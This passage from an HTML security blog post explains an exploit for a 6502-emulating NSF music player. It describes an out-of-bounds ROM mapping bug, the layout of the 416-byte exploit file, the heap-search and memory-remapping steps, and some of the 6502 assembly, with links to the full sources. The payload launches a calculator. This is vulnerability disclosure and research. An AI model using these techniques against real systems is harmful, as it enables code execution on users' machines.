<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Writing e.g. 0x00 to 0x5ff6 will result in the first 4096 bytes of ROM being mapped read and write at 6502 virtual address 0x6000. In our 200 byte file example, this means that a subsequent write of 0x41 to virutal address 0x6048 will result in 0x41 being written out of bounds relative to the host emulator heap.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As can be appreciated, we now have a lot of read and write control over the host emulator heap and the more experienced exploit writers will realize that successful exploitation is already all but assured.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit: overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here is an image of the exploit file inside okteta, a hex editor:</span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="nsf_exploit_okteta.png" height="408" src="https://lh4.googleusercontent.com/q9hBSR_7bHUPfoZjleCfsTUcmeAAKXzAiFxAiFxXmBDwinpSM3scQE3Aw-Ro1QlKMwgc3BZkwBvmSB7ZPjbBRKodgSNXwFN3HruNp9aQYdFBL5ku6zf78xmsnJ-S9fANIFvHCKDj" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="624" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is the full exploit and as you can see, it’s pleasingly compact at 416 bytes. The image has been decorated with three colored lines that show the different pieces of the exploit file:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Blue, for the 128 byte header. Much of the header is irrelevant and in fact, clever exploit techniques could conceivably compress some of the payload into the header. It would be a beautiful challenge to take this exploit and try and do the same in as few bytes as possible :) In terms of significant fields in the header:</span></div>
</li>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: circle; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x8000 (little endian, as are the subsequent values) at offset 8. This is the virtual ROM load address.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: circle; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x8070 at offset 10. The virtual address of the initial 6502 routine that is called once.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: circle; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x80a0 at offset 12. The virtual address of the per-frame 6502 routine.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: circle; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x41a1 at offset 110. The frame timing. Needs to be left alone to ensure the sound engine works.</span></div>
</li>
</ul>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Orange, for metadata, at the start of the ROM image directly after the header. This metadata is loaded at virtual address 0x8000 and is available and used in the 6502 program. The metadata includes the string “xcalc”, the eventual payload, a constant to search for in the heap to make the exploit reliable, and a table of reads, additions and writes to perform on the main heap in order to progress the exploit.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Green, for real 6502 opcodes -- yay! The exploit proceeds via a program written entirely in 6502 assembly. The music playing emulator will emulate these opcodes, but break out of virtual 6502 address space into the host emulator main heap on account of the vulnerability details outlined above.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit: details</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So how does the exploit work to reliably pop a calculator in so few bytes? The exploit is 416 bytes: 128 bytes of header and 288 bytes of ROM which are mapped at virtual 6502 address 0x8000. The ROM consists of a bunch of metadata followed by some 6502 opcodes.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In order to explore 6502 and “compile” 6502 assembly, this web page is a nice resource: </span><a href="https://skilldrick.github.io/easy6502/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Easy 6502</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The page also makes the claim “6502 is </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fun</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">!” -- I concur. The reasonably commented 6502 assembly source for the opcodes in the exploit is here: </span><a href="https://security.appspot.com/security/nsf/asm_final_main.asm" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">asm_final_main.asm</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. With a couple of tiny extra routines: </span><a href="https://security.appspot.com/security/nsf/asm_final_init.asm" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">asm_final_init.asm</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><a href="https://security.appspot.com/security/nsf/asm_final_adder.asm" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">asm_final_adder.asm</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit proceeds as follows:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">1: Locate important metadata object of type </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">nes6502_context</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> in main heap</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Because of the vulnerability noted above, any read from 0x8120 - 0xffff will read out of bounds in the host heap, so we can therefore read out of bounds until we locate bytes in the host heap that we believe correspond to the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, which is defined like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">typedef struct</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8 * mem_page[NES6502_NUMBANKS]; /* memory page pointers */</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nes6502_memread *read_handler;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nes6502_memwrite *write_handler;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int dma_cycles;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint32 pc_reg;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8 a_reg, p_reg, x_reg, y_reg, s_reg;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8 int_pending;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">} nes6502_context;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Why are we keen to locate this particular object? For two reasons. Firstly, it controls how the 6502 virtual memory accesses map to the host heap. By taking control of this mapping, we’ll get read and write access anywhere in the virtual memory of the host process. Secondly, the object contains pointers into the BSS section. Locating the BSS is important later in the exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We identify the object in memory via the byte sequence </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">00 00 00 00 00 50 00 00 00 00 00 00 ff 00 00 00</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (which you can find in the exploit file at ROM offset 0), on a 16-byte alignment, which corresponds to the initial values in the fields from </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dma_cycles</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">s_reg</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. (Due to a bug, these initial values are never synced with the real current register values, so we can search for them reliably.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">2: Remap the 6502 virtual read write address 0x6000 to point to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::mem_page[6]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It would be remiss of me not to cite some beautiful 6502, so here’s the code that writes the magic hardware register to map 0x6000 to out of bounds ROM:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Some fairly simple calculations and then memory bank remapping.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Match address is stored at 0x02, e.g.: 0x91b0</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Subtract 0x60 from the match address.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; This indexes earlier into the real heap metadata object.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; It indexes to a real pointer to the backing heap for 6502 0x6xxx RAM.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Subtract 0x8000 to get offset from ROM base.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LDA $02</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">SEC</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">SBC #$60</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">STA $02</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LDA $03</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">SBC #$80</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">STA $03</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Now, 0x02 contains e.g. 0x1160</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Shift the most significant byte to get the ROM bank id.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Each bank is 0x1000 in size.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LSR</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LSR</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LSR</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">LSR</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; In this case, our bank id is 1.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Write 1 to magic hardware register 0x5ff6.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; 